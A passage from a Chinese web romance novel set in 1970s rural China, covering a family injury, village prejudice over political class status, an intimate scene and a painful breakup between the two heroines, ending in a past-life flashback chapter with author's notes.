轮流洗了澡,季白青躺在床上,正打算等着温淼回来和她再好好说说,结果一沾到床,睡意侵袭大脑,没一会儿她就睡着了。 温淼洗完澡,带着一身水汽回到了房间,刚想要叫季白青的名字,才发现床上的季白青阖着眼睛,已经睡着了,白皙的脸上带着浓浓倦意。 她要说的话顿住,看她就连睡着时都皱着眉,伸出手指将她的眉心抚平。 温淼不知道是不是自己突然说的话让她觉得难办,所以困扰到了梦里。 但是她说那话的本意并非是想要让季白青困扰,她只是想要真的帮上两人,最起码给她们减轻一点负担而已。 她低头,在季白青的眉心亲了一口,关上灯侧身面向内侧。 两人背靠背的姿势没维持多久,季白青咕哝一声,翻了个身,从背后抱住了温淼。 还没睡着的温淼心一颤,没忍住往她怀里埋了埋。 第二日,季白青醒来的时候没看着温淼。 揉着眼睛出去的时候,才发现她已经在灶房开始做早饭了。 洗漱过后,她在温淼脸颊上亲一口。 “怎么起那么早?” 她看着锅里的鱼片粥有些惊讶,大早上就吃这么好? 温淼搅着锅里的粥,目不斜视:“不是你说要我在家里做饭,给大家都补补身体?今天一大早我去抓鱼了。” 原来是将她昨天的话都听了进去,季白青松了一口气,那她准备的一筐话也不用再说了。 她弯着眼睛,“那也不用起这么早。” 去小石村前,她叮嘱温淼:“没事就不要出去,村里人说话难听,在家没事的话可以看看初高中的教材。” 温淼点头,有些嫌弃地将她推开:“好啦,你快去吧,我都知道啦。” 接下来的几天,温淼都在家负责做饭,不得不说,每天在外面累死累活,回家能够吃到一顿热乎又美味的饭,身上的疲惫确实少了些。 何香月她们被一日三餐养得面色红润。 季白青和温向荣一起挖了三天的河道,骨头都要累散架了,可算是换了活。 虽然没比挖河道轻松多少,但是能轻松一点是一点。 何香月和季伟倒是换了更累一点的活,被李向东叫去挑石头。 好在两个人的力气都大,而且两人干活也没有人时时刻刻盯着,累了也能够休息。 得到消息之后,季白青对她们道:“慢慢来就行,实在不行这个工分不要就是了,千万要小心,别受伤,身体最重要。” 天气也逐渐热了起来,季白青每次去镇上的时候,会让温淼去和温向荣一起干点活儿,不然她下午再去的话,当天的活儿就干不完了。 她的事也不知道是被谁传到了镇上,知道她有成分问题后,猪肉卖的都比以前要难。 所有人见到季白青都避让三舍,生怕和她靠近一点就被拖累了。 王宝珠只能安慰她,让季白青负责杀猪,王宝珠负责卖。 季白青唯一觉得有些欣慰的便是,虽然她的名声不大好,但夏寒梅好像也没有要将她换了的意思,只是让她这段时间先在仓库杀猪避避风头。 原本想着的要将新屋里的最后一点东西补齐,最后却没什么时间,只能等着温向荣的事情被解决之后再去,或是等到休假。 季白青也在想着去大山村的阿婆那里多剪几枝花,到时候送给温淼。 温淼这段时间都不太开心,她是知道的,但是却有些没办法。 只能安慰自己再过一段时间就好。 不过季白青这段时间头疼眼花的症状却越发严重,她真害怕哪天不注意的时候晕倒在地上,吓温向荣和温淼一跳。 头疼的症状虽然没有缓解,却和以前的痛感差不多,倒是偶尔出现的眼花和耳鸣的症状比以前严重。 季白青的眼前总是闪过很多从未见过的画面,耳鸣时,经常有陌生人的、带着恶意的话在耳边盘旋。 说是陌生人,也并不全是,有些声音她可以和现实世界中云水村的村民对上号,她甚至都要怀疑自己是挺多了别人骂自己的话,潜意思里记住了。 但耳边盘旋的话却又和现在云水村的人所说的有些差异。 现实世界她被叫做“坏分子”,而耳中盘旋的那些声音似乎都在叫着“狗崽子”。 狗崽子又是在称呼谁?她有些疑惑。 还是她被骂聋了,已经出现了幻听?季白青搞不清楚。 她只能忙过这段时间之后再找个时间去检查身体,实在不行,就只能这样了。 这天,刚下工,和来送饭的温淼一起往回走,刚走到村口,孙大娘突然一脸慌乱地向她走来: “白青,你爹出事了!” 【作者有话说】 每天都写得很慌乱,求不拖延教程…… 感谢投雷和营养液,感谢评论订阅收藏 85 第85章 ◎管太多◎ 闻言,季白青神色一凝,甚至来不及询问详情,拉着温淼大步流星往家赶。 两人走得急,把孙大娘都甩在了身后。 以最快的速度回到家,就见几个同季伟关系算好的男人从她们的房间出来,见到回来的季白青重重叹了口气,但眼神落在她身后的温淼身上的时候又充满了厌恶。 季家同姓大伯拍了拍她的肩膀,沉声道:“季白青,你可要想清楚了,你爹变成现在这个样可都是被你身后那个祸害给害的,你真是为了她,什么苦都愿意让你娘爹吃!” “如果你真的还在乎你娘爹的话,就赶紧和这个祸害分开!” 季白青听着他的话直皱眉,将挡住门的人拨开,冷声道:“大伯,我感谢你把我爹抬回来,但我和温淼的事不需要你来操心,你现在快给我让开。” 她进了房间,看着躺在床上,腿脚鲜血淋漓的季伟,呼吸一滞。 “娘,这是怎么回事?”床前,温如嫣已经带着伤药来给季伟止血了,季白青转头问站在床边的何香月。 何香月难得掉一次眼泪,抹着泪,哽咽道:“我们当时正在挑石头,忽然就有个石头滚了下来,砸中你爹了,我们都没想到,好在你爹躲得快,不然被砸到头就坏了。” 温如嫣抬起头,手上的动作不停,安慰她们道:“别太担心,只是看着伤势重,但没伤到骨头,休息十天半个月就长好了。” 虽然被落石在大腿上划了一大道口子,脚也被压出了淤血,伤口看起来狰狞,但只要是没伤到骨头就不用太过担心。 闻言,季白青松下一口气。 何香月还是放不下心来,看着季伟腿上的那一道深得就要看见骨头的划伤,就完全没什么心思去干其它事。 季白青只能镇定下来,多问了温如嫣一句:“腿上的伤口是不是还得要去医院缝针” “对。” 听见了温如嫣的回答后,季白青立马往外跑。 一边沉默地站着的温淼给她让开位置,神色担忧地继续看着温如嫣给季伟处理伤口。 季白青跑到了牛叔家,跟他道明原因,这时候也没人顾忌成分问题,没多犹豫,牛叔立马牵着牛车到季家门口。 几人一起将止住血的季伟抬上担架,放到牛车上,季白青坐在牛车上看着季伟,跟着一起上镇里。 紧急处理好伤口的温如嫣站在门口徐徐吐出一口气,刚才听到消息的时候她心就一跳,生怕温淼未来的爹被砸出个什么好歹来,好在没什么大问题。 她一转头就见温淼站在没什么光线的角落,黑暗将她的脸庞吞噬大半,温如嫣感觉有些奇怪。 “在这傻站着干什么?别担心,没什么大事。” 温淼只是摇了摇头,“姑姑,你先回去吧。” 她回房间找何香月,何香月此时正在找季伟的衣服,准备收拾好带过去。 “婶,我待会儿载你上镇里。” 何香月看她一眼,知道她肯定是心情低沉,但何香月此时满心满眼都是季伟的伤势,也说不出什么话来。 “好。”最终她还是点了点头,没说出拒绝的话。 到了医院的时候,季伟已经在缝针了。 缝完针需要在医院住一天观察一下情况,以免有恶化。 事发突然,一家人都还没能吃上饭,突然紧绷的神经放松下来后才发现早就已经饥肠辘辘了。 季白青去医院食堂打了点饭,味道不算好,但也只能将就填饱肚子。 吃完后,让何香月和温淼一起看着季伟,季白青骑车去了尚敏家。 道明原因后,尚敏将厨房借用给她,季白青煮了点粥打算待会儿带到医院去。 尚敏站在一边,有一搭没一搭地和季白青说这话。 “你爹现在伤势还好吗” 季白青揉了揉眉心,有点发愁。 “他倒是没多大事。” 不过温淼大概又要多想了。 尚敏松了一口气,“没事就好,人没事就行,其它的都别担心。” 这倒是真的,人现在好好的就行。 季白青煮好了粥之后,对尚敏道谢,提着饭盒去医院。 何香月接过饭盒,给季伟,让他自己拿着勺吃。 季伟现在的精神状态还好,除了腿不能动,其它地方都没有任何问题。 何香月被医生科普一番后也安心了不少,对温淼和季白青道:“你们先回去吧,这里我来照顾,白青你替我向李向东请个假。” 这几天她照顾季伟,肯定是没办法去上工了。 季白青点头,带着温淼回去。 路上,温淼的手扣在季白青的腰上,将脸也贴在了她的后背,姿态亲昵,但两人谁都没有说话。 回到家,季白青叫住温淼,问她:“要不要再给你做点吃的” 刚才在医院,看她吃的并不多,季白青怕她晚上会饿。 温淼摇头,唇角微扬:“不用,刚才在医院吃饱了。” 季白青见她神色如常,言语中没有勉强,半信半疑地点头。 今天的活儿多,她回来的时候已经很累了。 没想到还没回家就又听到季伟受伤的消息,她的精神高度紧张,到现在才彻底放松下来。 头也被各种乱七八糟的事情挤得胀痛,她叹出一口气,还得是早点把温向荣事情解决才好。 不能再影响到何香月和季伟她们了。 明天就去镇上看看有没有陆霁的信。 她这样想着,烧了水后和温淼先后去洗了澡。 洗完澡后,她去找李向东给何香月她们请假,李向东本来是不大情愿的,但想到今天下去季家看到的严重的伤口,不给请假显然有些说不过去,便只好勉强点头。 回到家的时候,温淼已经睡下了,季白青轻手轻脚上床,看着黑漆漆的屋顶,正在想着明天该怎么安排才好,怀里突然被塞进了一具柔软馨香的身体。 温淼不说话,只是在她怀里转了个身,将整张脸埋进季白青的胸前,伸手抱住她。 季白青一怔,思绪被打乱,心情微微和缓下来。 她问:“这是在撒娇吗?” 温淼在她怀里动了动,只是还没说话。 享受着二人之间的静谧,季白青的手指穿插到她浓密的发丝中,替她一点一点顺着头发,思绪却微微飘散。 也不知道过了多久,听着温淼呼吸的频率,她知道对方肯定还没睡。 季白青不知道该怎么开口,踌躇一会儿才开口劝:“蓁蓁,你别多想,知道吗?爹的事和你没关系。” 她现在庆幸的是季伟伤得并不重,借着伤势还能够让何香月和季伟两人多休息一段时间。 不过她担心温淼还是会为此把所有的责任都揽到自己的身上,温淼的心思敏感,有时候她也不能准时察觉到她的所思所想。 温淼抬起一张脸,黑暗中,季白青可以情绪捕捉到她微微泛着光的眸子。 温淼轻声开口:“我没有多想。” “多想没有用,我知道。”温淼的语气平静,没有听出有任何的情绪问题。 闻言,季白青心里吊着的大石头彻底放下。 她不多想就好了。 精神放松后,身体所有的疲劳都一股脑涌了上来,季白青慢吞吞打了个哈欠,声音也软了几分,轻拍着温淼的脊背,她说: “明天早上你去给娘和爹她们送饭吧,回来的时候看看邮局有没有我的信,我明天继续去给奶奶干活。” 温淼闻言,点头,轻声应好*。 女人的话落下没多久,呼吸声绵绵柔柔,逐渐陷入了沉睡。 半倚着季白青的胸口,温淼闭着眼睛,却迟迟没有入睡。 她想,人果然是会成长的。 在这之前,她只要一想到自己给季白青带来的各种麻烦,此次都忍不住要掉眼泪。 眼皮一次一次变得红肿,最终被呈现在季白青的面前,可以换来爱人心疼又温柔的轻哄。 而现在,心里的情绪饱胀酸涩,负面的情绪将她全身都包裹,自责、内疚、难过、不舍…… 被各样的想法挤压,温淼现在却诡异地觉得平静,似乎是早就为这一天的到来做好了心理准备。 现在她不再掉眼泪,只是觉得有点疲惫,眼泪只会加重季白青的心理负担。 温淼觉得奇怪,所有人都会累,但季白青好像不会。 每天任劳任怨地去帮温向荣干活,不求回报。 到了家后,面对着敏感脆弱的温淼,她还要抽出时间来哄着她,让她不至于一直沉溺过难过之中。 她能做到这么多好像都有迹可循,认真追踪每一个源头,都能看到同一个理由。 ——为了温淼。 季白青的爱多么无私,不舍得温淼吃苦、不舍得温淼难过、不舍得温淼愧疚。 温淼的缺点在她看来好像都是可爱的,季白青也很少向她抱怨过什么。 季白青为什么能够坚持到现在?如果换做是任意一个人,在这种情况下怕是早就头也不回地丢下温淼,去自己过日子了。 被人拖累的日子并不好过,但季白青从不对温淼说她的难处,每天即使因为上工疲惫不堪,但面对着温淼的时候还是会露出温和的笑。 温淼想,即使她并没有表现出任何倦意,但她能感知到,季白青就快累了,她本该不该承担这么多。 季白青并不是铜墙铁壁铸就的人,她是个被母父宠着长大的女孩,也是遇到点事就会娇滴滴掉眼泪、需要人哄的姑娘。 只是不知道从什么时候开始,季白青在温淼面前露出来的脆弱的一面越来越少,看起来像是成长了,但温淼却觉得不是。 人怎么可能一直是坚强的呢? 温淼并不希望季白青一直这样,她应该想哭就哭,想闹就闹,不要温柔、不要懂事,也不应该一直因为她而承受各种她不应该承受的流言与孤立排斥。 刚才回答季白青的话,她也并非是口不对心。 温淼所说的每一句都为真,她确实没有多想,也知道多想没有用。 她给季白青和季家带来的负面影响都是实打实的,让她们受到非议、影响她们的生活,给她们带来了不少的伤害。 温淼也觉得自己以前所想的过于理想化,总觉得爱可以抵挡万难。 所有人都在告诉她,她们并不合适,可温淼却还是执着于要和季白青有一个更好的未来。 只是所有的想法都被现实打得凋敝,现实告诉她,她并不值得季白青的爱。 季白青的爱太无私,她爱的太多、太满,她的爱给谁都珍贵,唯独落在温淼身上,她觉得她不值得。 因为她的存在,季白青情愿和被打成黑五类的温向荣走近,为此季家和季白青的名声在村子里受损。 她每天囿于干不完的农活中,原本十拿九稳的工农兵大学的推荐名额也没了,属于季白青的更好的未来被温淼毁掉。 而现在,被她影响从而被分配了重活的季伟也受了伤,虽然不算太严重,可谁也说不准未来会不会还这么幸运。 温淼想,她确实是自私的。 太过贪心想要私藏月光,最后却让皎洁的明月沾染上尘埃。 月亮就该高高挂在天上才对,是她太过贪婪。 甚至……一直到现在,她的心里还有些不舍。 只是,分开无论是对季白青还是对温淼来说都是更好的选择。 她想要让季白青能够好好的,何香月她们也能恢复以前的平静生活,趁现在事态没有变得太严重,温淼早点下定决心,便可以体面一点离开。 温淼只是觉得心好痛,她呼吸频率微微加快,从季白青的怀抱里退出去,背对着她,蜷缩成一团,死死按着胸膛。 心好痛…… 温淼恍惚想起来,温泠月还在的时候。 那时候温泠月久卧病床,温淼还不知道什么叫死亡,只是每天一起床就会去床边和温泠月说话。 温泠月的身上经常会有因为疼痛而撞出来的淤青,温淼问她会不会疼。 温泠月说:“习惯后就不疼了。” 习惯后就不疼了,真的会这样吗,妈妈。 她心好痛,已经一段时间了,越来越痛,痛彻心扉,但却没有像温泠月所说的那样习惯。 她没有丝毫习惯。 呼吸声在黑暗中有些急促,温淼想着放任不管,但却突然被另一个人从身后抱住。 两人身体相贴合,感受着对方身上传来的温度,温淼一怔,身体放松下来,契合无比地被圈进对方的怀里- 第二日,温淼起的早,没让季白青看到自己眼下的青黑,做好了早饭后留了一部分给她,装上何香月和季伟的份给她们送到了医院。 一夜过去,季伟的身体也没有出现什么不适的症状,只是在医院住的有些不自在,只能躺在床上,什么都干不了。 温淼去问了医生,今天下午就可以办出院手续,只需要在家静养一段时间就好。 她抿唇,去食品站买了点菜,又去供销社买了点给季伟的补品,最后去邮局将季白青的信给取了。 回家,将信放在卧室的桌上,温淼开始做饭。 给温向荣送了饭后,她又去医院给何香月她们送午饭。 离开前,她对何香月道:“婶,下午的时候我叫牛叔赶牛车来接你们。” 说完后,温淼匆匆往外走。 一直出了医院她才停了下来,扶着自行车的车头在原地站了会儿。 她也并非是有急事需要离开,只是对着何香月和季伟时始终心怀愧疚,整个人都被愧疚淹没,还怀着鸵鸟似的躲避心态。 见到她们的时候丝毫不敢抬起头,怕对上任何一人失望、责怪的眼神。 即使只是轻飘飘的一眼,但是对温淼来说,还是太过沉重,能够将她整个人都压垮。 让她再躲一下吧,她只是……贪恋这最后一点温暖而已。 回到家,季白青还在等着温淼,没有先吃饭。 看到进了屋里的温淼,季白青拧眉:“怎么黑眼圈这么重?昨天没睡着?” 温淼面色有些白,勉强笑了笑,解释:“我有点担心季叔,总感觉睡不踏实。” 季白青不赞同地看向温淼,“那今天中午好好休息休息。” 见温淼点头,她才放下心来,招呼温淼一起吃饭。 吃了饭,哄着温淼上床休息,季白青在桌前看着陆霁的回信。 看完后,这段时间的焦虑担忧都彻底消失。 她想,事情终于快要告一段落。 既然自己收到了陆霁寄来的信,那陆延大概也收到了陆老爷子的来信,唯一需要注意的便是看他什么时候才会动手。 时刻盯着他的可能性不大,季白青更倾向于直接激怒他,再让他借着冲动按照陆老爷子的说法对温向荣下手。 唇角不自觉带上了一丝笑容,季白青看了眼在床上睡着的温淼,打算晚点再和她说这回事。 倒是可以提前一点和温向荣商量好。 这样想着,季白青将信烧掉,眼见着时间差不多了就去小石村上工。 今天收到了好消息,干活都有劲了一些。 温向荣有些莫名地看着跟打了鸡血似的季白青,问:“干活还把你干高兴了?” 这么多天,温向荣干得回家一沾床就睡,每次看到神采奕奕不见多少疲态的季白青都感叹,她果然是老了。 季白青有些不好意思,对她一笑,“奶奶,回去我再告诉你。” 听她这样说,温向荣也有些好奇到底是什么了。 好不容易等到下午下了工,还了农具后,季白青将门锁了,这才压低声音对温向荣开口: “奶奶,你被查、被举报都是陆有德干的。” 陆有德便是陆老爷子的名字,季白青觉得这么好的名字安在他身上真是白瞎了。 温向荣拧眉,“你怎么知道?” 季白青回答:“我认识陆家的人,她可以相信,是她和我说的。” “而且,陆有德举报你,让你下放,现在甚至还想要至你于死地。陆延你还记得吗?是我们村的知青,也是陆有德的孙子,他写信让陆延想办法把你解决掉。” 温向荣听完她的话后,眸光发冷,皮笑肉不笑道:“我还真没有看出来陆有德竟然是这种人……” 果然是知人知面不知心,陆有德在自己面前一向恭谨温良,看不出任何对她的不满,没想到背后却是一条不折不扣的毒蛇。 她望向季白青,问:“你想怎么做?” 季白青凑到她的耳边,笑盈盈地将自己的计划道出。 听完后,温向荣看向季白青的眼神有些复杂。 原本以为她只是单纯的力气大,人也直白单纯,没想到心眼也挺多。 竟然能够想出这样的办法。 好在她们并非是对手,要是用这些法子来对付她或是温淼的话,她们一不小心就会中计了。 “你想的还挺齐全。”温向荣叹了一口气,真心夸赞出声。 季白青撑着脸,弯起眼睛,眉眼弯弯。 她也不是想要针对陆家和陆延,但谁让他们偏要干这些坏事呢。 她这顶多算是替天行道,想法方设法将丧尽天良的人给解决掉罢了。 两人刚说完话的功夫,温淼就来送饭了。 看着温向荣吃完后,两人回去。 “季叔今天回来了。”温淼被她牵着手,眼神盯着两人交握的手,嘴上却在说着另一件事。 季白青点头:“回来也好,有什么问题让姑姑上门看着,在家里更方便照顾。” 也不需要温淼再每天都骑车去医院送饭了。 镇上不太安定,温淼又格外漂亮,其实季白青并不放心。 只是她确实也分不出第二个分身来陪着温淼去镇上。 温淼应了一声,将自己的手抽出来。 见季白青有些奇怪地看向她,她浅笑遮掩:“有点热。” 她只是害怕两人之间越亲密,她越舍不得分开。 今天天气阴,可以听出来明晃晃的借口,季白青实在是笑不出来。 回到了家,季白青去看了眼季伟。 很好,看起来精神头不错,就是面色还有些苍白。 明天多留点猪血回来煮了给他补补。 晚上回了房间,季白青将中午的事揭过,看着温淼还带着青黑的眼下,捏捏她脸颊:“现在总能放下心了吧?爹他没什么大事,再过一段时间就好了。” 虽然她也挺担心,但是现在一看情况倒还好,虽然也还不能完全放下心来,但不至于到夜不能寐的地步。 温淼往后仰,逃离她的手,顶着她有些失落的眼神轻轻点头。 “知道了。” 第二天,季白青去杀猪回来带了猪血,还花了大价钱带了个猪蹄回来炖。 中午吃的猪血丝瓜汤,晚上则是炖猪蹄。 季伟能吃能喝的,只是腿脚有些不方便,伤口愈合有些难以避免的疼痛。 来一起吃晚饭的温如嫣给他看了看后,得出来的结论是好好养着就不会留下什么后遗症。 回到房间,季白青还想说怎么拿温如嫣的话让温淼彻底安心,最起码不要再避着和她的亲昵。 哪知道还没有将话说出口,就被温淼按着肩膀往后推,背抵住门板,咔哒一声,门被关上了。 随后而来是猛烈的又缱绻缠绵的吻。 季白青先是一愣,反应过来后微微弓起腰,让温淼亲得轻松些。 温淼这是已经想开了的意思吗? 来不及细想,季白青被带着专心投入亲吻。 暧昧的水声从唇边漫出,温淼亲得有些用力,尖牙难以避免磕碰到唇上,两人的唇面上都被磕破口子,淡淡的铁锈腥味在口腔漫开。 季白青闭上眼,任由温淼在自己口腔中横冲直撞,微微颤动的睫毛偶尔透露出她内心的不平静。 等到暴雨般的吻变得温柔几分,季白青才慢半拍睁开眼,与温淼对视上。 温淼没有闭眼,那双漂亮的桃花眼中倒映着她的脸,像是想要将她的所有表情都记在脑海中。 她莫名感觉有些羞耻,搭在对方腰肢上的手松开,想要捂着温淼的脸。 温淼却没给她机会,在她的手掌落在脸上的时候松开了她,微微仰头,手掌下滑,她张开微肿的红唇,含住她修长的食指和中指。 手指被口腔包裹,舌尖绕着湿黏的涎液舔舐她的指尖,手指湿漉漉的,指腹的酥麻一路淌到了心里。 季白青想要将手指抽出来,却被温淼轻咬住,瞪向她的眼神又软又媚,看得季白青晕晕乎乎的顿时忘了动作。 不知道是什么时候被温淼推到了床上,娇艳的女人胸膛微微起伏,露出大片雪白的柔软,跨坐在她的腰腹上居高临下看着她。 随后伏在她耳边,轻声道:“阿青……要我。” 她急切想要将季白青的任何情态都记住,执着于在最后几天拉她缠绵,以后不会再有机会了。 季白青还来不及说什么,手指就被裹住,温淼咬着唇才勉强咽下了呜咽。 家里不隔音,两人都心知肚明。 一场沉默的雨淅淅沥沥的往下坠,雨势时大时小,季白青觉得自己和温淼像是湖泊上的船,被雨滴打得东摇西晃。 温淼没什么力气,却也坚持了很久,后来眼皮重得都快要阖上,还强撑着继续。 季白青的手腕有些酸,无奈地将她弄到熟睡,帮她擦身后揉了揉手腕。 手腕有些疼,指腹也被泡得发白。 不过看着睡熟的人,她吐出一口气。 也行,起码睡着了。 又熬了几天,到了周日,这几天温淼每天晚上都缠着她要,每次看她累的睡熟了,季白青心里都有点淡淡的惆怅。 总觉得自己像是温淼的人形安眠药,温淼睡不着了就按着她吃一口。 早上出门,她偷偷量了温淼的无名指的尺寸,上午匆匆去食品站杀了猪后,立即去找了镇上的银匠,和她学做戒指。 温淼的患得患失她都看在眼里,温向荣的事情快要被解决了,季白青也想要用自己的方式给温淼更多的安全感。 一整个上午不知道重来多少次,季白青终于做出来一个精致一些的银戒。 两个戒指一个是季白青的尺寸,一个是温淼的尺寸,她的戒指上刻了一颗星星,内侧写着温淼名字的缩写,温淼的是刻了一弯月亮,内侧是她的名字。 这么长的时间不算白费,季白青满意地将对戒收好,回去的时候还特意去了大山村,找种花的阿婆说明情况之后剪了一大捧开得鲜艳妍丽的花,粉色、黄色的花瓣挤挤攘攘凑在一起,柔嫩的花瓣被风吹得微微晃动,发出悦耳的沙沙声。 今天的天还格外蓝,风和日丽。 她回家恰好遇到了要回去的何香月,看着她自行车前的一捧花,她问:“给淼淼的?” 季白青笑了笑,“对,娘,你待会儿让淼淼去新屋一趟,先别告诉她花的事!” 说完后,她骑车往新家的方向走。 进了屋里,她想了想,还是将花放进了卧室里。 放在绒袋里的对戒被她拿出来仔细看着,在等着温淼过来的时间里,她显得有些坐立不安。 花准备好了,戒指也亲手做了一对,虽然不能确定温淼收到礼物后会不会开心,但她还是期待又紧张。 她绕着屋子走了一圈,将可以看到的灰尘都打扫了一遍。 正想着到时候要说什么样的话,才能让温淼彻底放心,愿意考虑和自己领证结婚的事,沉思中,她一屁股坐在了沙发上,却突然感觉沙发下似乎有什么东西硌着她。 她有些疑惑地将沙发套掀起来,将手伸进沙发缝隙,皱眉看着掏出来的东西。 是一盒烟。 打开一看,不是一整盒,烟盒里只剩下散乱的几根。 她的动作凝滞,愣在了原地。 新屋的钥匙只有她和温淼有,季白青穿书后再也没抽过烟。 这盒烟会是温淼的吗? 不知道保持这一个姿势站了多久,门口突然传来动静,季白青回过神,刚想站直身体,才发现她僵太久,全身都麻了。 温淼开门进来时,还不知道季白青让她来这里的目的。 再走了几步,她微微眯起了眼,勉强看清楚季白青手里拿着的东西后,顿时也停了下来。 季白青撑着沙发,勉强站直了身体。 她一眼不错地看着温淼,哑声问:“这烟是谁的?怎么突然帮人保管这东西了。” 她装作若无其事,给她想好了借口,想要将这件事轻轻揭过。 可温淼却坦然地看向她,不接她的话茬,红唇轻启:“这是我的。” 季白青攥着烟盒的手缩紧,手背的肌肤薄到透明,透出青色的血管。 她一字一句问:“你……什么时候学会的抽烟?” 温淼的身体孱弱,每到换季咽喉就容易出毛病。 为此,季白青即使再心烦,也从来没有过靠烟排忧的念头。 季伟原本偶尔会抽一次烟,也被她压着戒了。 都是因为不想让温淼闻着难受。 但季白青怎么也没有想到,温淼会在新家这边藏烟。 她抽了吗?什么时候学会的?抽烟是因为心情不好吗? 问题一个接一个冒出来,季白青觉得心越来越闷,很堵、很涩。 这些问题季白青通通不知道答案,每次她问温淼是不是不高兴,温淼的回答往往都是否定。 她在此刻感觉到了前所未有的茫然,她自诩足够了解温淼,现在一看,好像不过也就那样。 和她所想的不同,关于温淼的很多她似乎都不了解。 至少她不知道温淼会抽烟。 温淼沉默一瞬,语气淡然,那双漂亮的眼睛毫不收敛地看着她,眸中带了些无所谓的情绪。 “成年后就会,不过下乡之后很久没抽。” 她问:“这不是很正常吗?陆霁也抽,你不用这么惊讶。” 很久没抽,所以是在最近才继续的? 所以,现在温淼因为她的话生气了吗?可让她生气不是季白青的初衷。 “蓁蓁,我不是说你不能抽烟,只是……你身体不好。”她想要多解释几句,却发现除了这句之外再不能挤出更多的话。 “季白青,我的身体我自己知道,我想干什么也不需要找理由。这很正常。”温淼拧眉看她。 季白青捏着烟盒的手微微发抖,突然觉得很难过。 她对她直呼其名。 她的声音发颤:“温淼,这不是正不正常,你难过伤心失意,任何情绪都可以和我说!而不是要靠着抽烟、靠着这些对身体不好的东西来排解!” “和我说你不高兴、你很难过,对我撒娇……蓁蓁,这真的很难吗?” “很难。” 温淼重复一遍刚才的回答:“很难。” 季白青不受控制地呜咽一声,语气变得哽咽:“温淼,不难的。我求你别这样说话。” “我知道你喜欢把事情的责任都归咎于你自己,也都怪我没有多去关注你的情绪,但是我说过很多次了,不要把所有责任都揽到你身上,这都不是你的问题。” 季白青的眼前蒙上一层水雾,面前的人逐渐变得模糊,她忽然有想哭的冲动。 “为什么要瞒着我呢,你只需要说一句你不高兴就好了。”季白青大步走到温淼面前,指了指自己,茫然询问: “不和我说的原因是我真的很没有用吗?” 没用到温淼不愿意信任她、不愿意将自己的真心话告诉她。 温淼清晰地看到季白青的眼泪,心脏瞬间缩紧,狼狈的偏过头去,不敢再看和她对视。 她哑声回答:“不是你没用,只是和你说没用。” 和她说,季白青会给她安慰,让她像是被泡在蜜糖罐子里,但是与之相对的后果便是季白青要承担不尽的痛苦,被她连累,受她影响。 短暂地甜蜜过后,温淼只会更加痛苦。 所以即使告诉她又有什么用呢,事情不会得到真正的解决。 季白青手上那盒烟还是陆霁给她的,她先前不知道出于什么心理,将它带回了云水村。 原本因为只会是放着,但没想到她会有打开它的一天。 装乖太久,时隔这么长一段时间再次将细长的香烟点燃,温淼却被烟雾呛得很狼狈。 茶花味混着点辛辣,她分外不适。 后来每次也不过是点燃,看着烟在手中慢慢燃烬。 温淼没想到会被季白青翻出来。 或许是两人缘分本该到此为止,老天也不愿意她一直拖下去。 她们缘分不深不浅,停在现在刚好。 看着季白青微红的眼,温淼忍住鼻腔的酸涩,对她开口: “季白青,我不过是抽个烟而已。” “我想去给你们帮忙,你要管。我想要不去教书,你也要管。我不过是抽口烟,你还要管。” “你不觉得你管得太多了吗?谁能受得了你。” 话说到最后,温淼反而冷静下来,盯着季白青道:“我不想被你管着了,和你在一起,很不开心,季白青,我们不合适,还是趁早分开吧。” 季白青的手抖得更厉害,烟盒突然掉在地上,季白青抬头忍住眼泪,语气慌乱: “对不起淼淼,对不起、对不起,我不该管你这么多,只是你身体不好,你……” 话说到最后,季白青几乎说不出来任何字眼。 掐着自己的手心,在那点刺痛之下,季白青勉强维持清醒,终于将祈求的话说出口:“我不管你了,只是不要分手好不好?” 温淼看着她,轻叹一口气:“阿青。” 明明还是和以往没什么不同的称呼,温淼的语气却格外冷淡,说出来的话也一句一句戳着她的心:“我们都是成年人了,有些话不用说的那么清楚,既然不合适,那就分开得体面一点好吗?” “我没同意分手!”季白青看着她提高声音。 眩晕、眼花、失重的感觉再度袭来,她几乎站不稳身体,却还是执意要拉着温淼的手不放。 “温淼……我没同意分手……不许!我说不许!” 她的手被温淼丝毫不费力地甩开,温淼往后退了一步。 “季白青,我腻了,不喜欢你了,以前对你的感情不过也是依赖,你幼稚、没钱、没权,哪一点值得我真的喜欢?我现在看清了我自己,你怎么还不能看清楚你的内心呢?一见到我就喜欢我,为什么啊?不就是因为我长得好看吗?” “在一起需要双方同意,但分开是单方面的。” 温淼忍着心绞痛,吐出最后一句话:“我想分手,仅此而已。” “你还小,以后会遇见比我更好的人。” 以往最爱听的清甜软媚的声音,现在在季白青听来,每句话落在她身上,仿佛是凌迟一般。 季白青无力地捂住耳朵,眼泪最终还是砸了下来,一滴一滴往下坠,落在衣服上,将布料染成深色。 她声音发颤,语气几乎只剩下气声:“别、别说了。” 她喜欢温淼不是因为她好看,她爱她的灵魂,不好看也会喜欢。 喜欢她的性格、灵魂,喜欢的只是温淼这个人而已……呜……为什么要那么说? 她幼稚可以改,穷也会努力赚钱,考上大学后也会努力结识权贵,所以……能不能不分手? 她嘴唇张合,却说不出任何话来。 耳边突然响起剧烈轰鸣,她几乎听不清任何声音,只有几句话在耳边循环。 “我们分手吧。”这是温淼。 “我不喜欢你。”那说这话的人……又是谁呢? 季白青的脑袋剧痛,死死扣住了头发,几乎将头皮都挠得出血。 “啊——!”她尖叫一声,身体瞬间软倒在地上。 意识开始变得混沌,她慢慢阖上眼皮,在最后一秒看到了温淼慌乱的脸,她似乎说了些什么。 只是耳鸣让季白青什么话都听不清楚。 剩下“我们分手吧”、“我不喜欢你”两句话在耳边循环交织。 季白青在失去意识的前一秒,想的是: ——不是要分手吗?温淼为什么还要管她怎么样。 【作者有话说】 配合BGM《来不及》——刘瑞琦 感觉前面的几版过渡不太自然,目前的这个版本是最满意的,大家可以重刷一下~ 感谢投雷营养液,感谢订阅评论收藏 下一卷是前世纠葛的回忆卷,不想看的宝可以直接跳到下下卷 回溯(前缘回忆篇) 86 第86章 ◎一颗糖果◎ 一九七五年四月八日,云水村。 雨滴连绵下坠,编织成一张浓密的雨幕。 季白青没戴草帽,及肩的黑发蒙上一层水汽,将剩下的最后一粒种子撒进去填好后她直起身,抹了把脸上挂着的水珠。 今天是知青到村的日子,其她村民都在村口看热闹,村口的大樟树下挤挤攘攘占着一群人。 她干活的地离村口近,还能听到众人讨论的声音。 季白青没不识趣地去凑热闹,埋头将今天分配下来的活干完。 刚背着锄头打算回去做饭,突然听见人群中炸开一声尖叫: “有个知青晕倒了!” 村长李向东看着倒在地上的女知青,头疼地四周环视一圈,最终视线落在准备回去的季白青身上。 